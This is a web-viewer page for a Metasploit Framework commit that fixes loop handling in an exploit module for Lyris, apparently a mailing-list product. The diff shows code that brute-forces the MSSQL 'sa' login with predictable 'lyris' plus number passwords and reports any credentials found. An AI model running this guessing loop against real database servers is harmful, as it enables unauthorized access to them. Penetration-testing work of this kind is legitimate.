Fix a looping issue with the new lyris module
git-svn-id: file:///home/svn/framework3/trunk@7199 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
36fee594ba
commit
45280f85a5
|
@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
1.upto(65535) do |pid|
|
||||
|
||||
if(pid % 1000 == 0)
|
||||
print_status("Completed #{pid}/65535 authentication requests")
|
||||
print_status(" >> Completed #{pid} of 65535 authentication requests")
|
||||
end
|
||||
|
||||
if(mssql_login('sa', "lyris#{pid}"))
|
||||
|
@ -69,12 +69,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if(not pass)
|
||||
print_status("This system does not appear to be exploitable")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_status("")
|
||||
print_status("Sucessfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
|
||||
|
|
Loading…
Reference in New Issue